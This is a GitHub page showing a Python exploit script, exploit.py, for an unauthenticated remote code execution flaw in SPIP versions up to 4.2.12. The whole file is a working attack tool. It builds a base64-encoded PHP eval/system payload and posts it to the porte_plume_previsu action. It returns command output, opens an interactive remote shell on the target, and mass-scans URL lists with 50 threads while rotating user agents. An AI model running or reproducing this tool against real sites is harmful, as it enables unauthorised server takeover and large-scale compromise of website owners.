-
Notifications
You must be signed in to change notification settings - Fork 4
/
exploit.py
242 lines (207 loc) · 9.18 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
import re
import sys
import base64
import random
import requests
import concurrent.futures
import rich_click as click
from bs4 import BeautifulSoup
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from random_user_agent.user_agent import UserAgent
from random_user_agent.params import SoftwareName, OperatingSystem
click.rich_click.USE_MARKDOWN = True
requests.packages.urllib3.disable_warnings()
class Exploit:
def __init__(self, target_url: str, output_file: str = None) -> None:
"""
Initialize the Exploit class with the target URL and optional output file.
:param target_url: The URL of the target to exploit.
:param output_file: Optional file to save the output of vulnerable URLs.
"""
self.target_url = target_url
self.output_file = output_file
software_names = [SoftwareName.CHROME.value]
operating_systems = [OperatingSystem.WINDOWS.value, OperatingSystem.LINUX.value]
self.user_agent_rotator = UserAgent(
software_names=software_names,
operating_systems=operating_systems,
limit=100,
)
self.timeout = 10
def custom_print(self, message: str, header: str) -> None:
"""
Print a custom formatted message with an emoji-based header.
:param message: The message to print.
:param header: The type of message ("+", "-", "!", "*") to determine the emoji.
"""
header_mapping = {
"+": "✅",
"-": "❌",
"!": "⚠️",
"*": "ℹ️ ",
}
emoji = header_mapping.get(header, "❓")
formatted_message = f"{emoji} {message}"
click.echo(click.style(formatted_message, bold=True, fg="white"))
def prepare_payload(self, command: str) -> str:
"""
Prepare the payload by encoding the system command in base64 and wrapping it in a PHP eval statement.
:param command: The system command to execute on the target.
:return: The prepared payload as a string.
"""
system_command = f"system('{command}');"
encoded_command = base64.b64encode(system_command.encode("utf-8")).decode(
"utf-8"
)
rand_numeric = "".join([str(random.randint(0, 9)) for _ in range(8)])
return f"[<img{rand_numeric}>->URL`<?php eval(base64_decode('{encoded_command}')); ?>`]"
def send_payload(self, command: str, silent: bool = False) -> requests.Response:
"""
Send the prepared payload to the target via a POST request.
:param command: The system command to execute.
:param silent: If True, suppress error messages (useful for bulk scanning).
:return: The HTTP response from the target if successful, or None if an error occurs.
"""
try:
payload = self.prepare_payload(command)
headers = {"User-Agent": self.user_agent_rotator.get_random_user_agent()}
response = requests.post(
url=f"{self.target_url}/spip.php",
params={"action": "porte_plume_previsu"},
data={"data": payload},
headers=headers,
verify=False,
timeout=self.timeout,
)
response.raise_for_status()
return response
except requests.RequestException as err:
if not silent:
self.custom_print(f"An error occurred: {err}", "-")
return None
def parse_response(self, response_text: str, filter_php: bool = True) -> str:
"""
Parse the response from the target to extract the command output, with an option to filter out PHP or base64 content.
:param response_text: The raw HTML response text from the target.
:param filter_php: If True, filter out content containing PHP or base64 encoded data.
:return: The parsed command output or an error message if parsing fails.
"""
soup = BeautifulSoup(response_text, "html.parser")
preview_div = soup.find("div", class_="preview")
if preview_div:
command_output = preview_div.find("a")
if command_output:
output_text = command_output.get_text(strip=True).split('"')[0].strip()
if not (filter_php and re.search(r"<\?php|base64_decode", output_text)):
return output_text
return "No match found in the response."
def interactive_shell(self) -> None:
"""
Launch an interactive shell to send and receive commands to/from the target.
:return: None
"""
session = PromptSession(history=InMemoryHistory())
while True:
cmd = session.prompt(
HTML("<ansiyellow><b>$ </b></ansiyellow>"), default=""
).strip()
if cmd.lower() == "exit":
self.custom_print("Exiting shell...", "*")
break
if cmd.lower() == "clear":
sys.stdout.write("\x1b[2J\x1b[H")
continue
response = self.send_payload(cmd)
if response:
parsed_output = self.parse_response(response.text, filter_php=False)
if parsed_output:
self.custom_print(f"Result:\n{parsed_output}", "+")
else:
self.custom_print(
"Failed to receive response from the server.", "-"
)
else:
self.custom_print("Failed to send payload.", "-")
def scan_target(self, silent: bool = False) -> tuple[bool, str]:
"""
Scan the target to check if it is vulnerable by sending a test command.
:return: A tuple containing a boolean indicating if the target is vulnerable and the command output.
"""
response = self.send_payload("whoami", silent)
if response:
parsed_output = self.parse_response(response.text)
if parsed_output and "No match found in the response." not in parsed_output:
if self.output_file:
with open(self.output_file, "a") as f:
f.write(f"{self.target_url}\n")
return True, parsed_output
return False, None
@click.rich_config(help_config=click.RichHelpConfiguration(use_markdown=True))
@click.command(
help="""
# 😈 SPIP Unauthenticated RCE Exploit 😈
Exploits a **Remote Code Execution vulnerability** in SPIP versions up to and including **4.2.12**.
The vulnerability occurs in SPIP’s templating system where it **incorrectly handles user-supplied input**, allowing an attacker to inject and execute arbitrary PHP code.
This can be achieved by crafting a payload that manipulates the templating data processed by the `echappe_retour()` function, which invokes `traitements_previsu_php_modeles_eval()`, containing an `eval()` call.
## ⚠️ Use this tool responsibly.
"""
)
@click.option(
"-u",
"--url",
help="🌐 The **target URL** that you want to scan and potentially exploit.",
)
@click.option(
"-f",
"--file",
help="📂 File containing a **list of URLs** to scan for vulnerabilities.",
)
@click.option(
"-t",
"--threads",
default=50,
show_default=True,
help="⚙️ The number of **threads** to use during scanning. Defaults to `50`.",
)
@click.option(
"-o",
"--output",
help="💾 Specify an **output file** to save the list of vulnerable URLs.",
)
def run_exploit(url, file, threads, output):
if not url and not file:
click.echo(run_exploit.get_help(click.get_current_context()))
return
if url:
exploit = Exploit(target_url=url, output_file=output)
is_vulnerable, command_output = exploit.scan_target()
if is_vulnerable:
exploit.custom_print(f"Vulnerable: {url}", "+")
exploit.custom_print(f"Command Output: {command_output}", "*")
exploit.interactive_shell()
elif file:
urls = []
with open(file, "r") as url_file:
urls = [line.strip() for line in url_file if line.strip()]
def process_url(url):
exploit = Exploit(url, output)
is_vulnerable, command_output = exploit.scan_target(silent=True)
return url, is_vulnerable, command_output
with alive_bar(len(urls), enrich_print=False) as bar:
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(process_url, url): url for url in urls}
for future in concurrent.futures.as_completed(futures):
url, is_vulnerable, command_output = future.result()
if is_vulnerable:
exploit = Exploit(url, output)
exploit.custom_print(
f"Vulnerable: {url}, Command Output: {command_output}", "+"
)
bar()
else:
click.echo("You must specify either a single URL or a file containing URLs.")
if __name__ == "__main__":
run_exploit()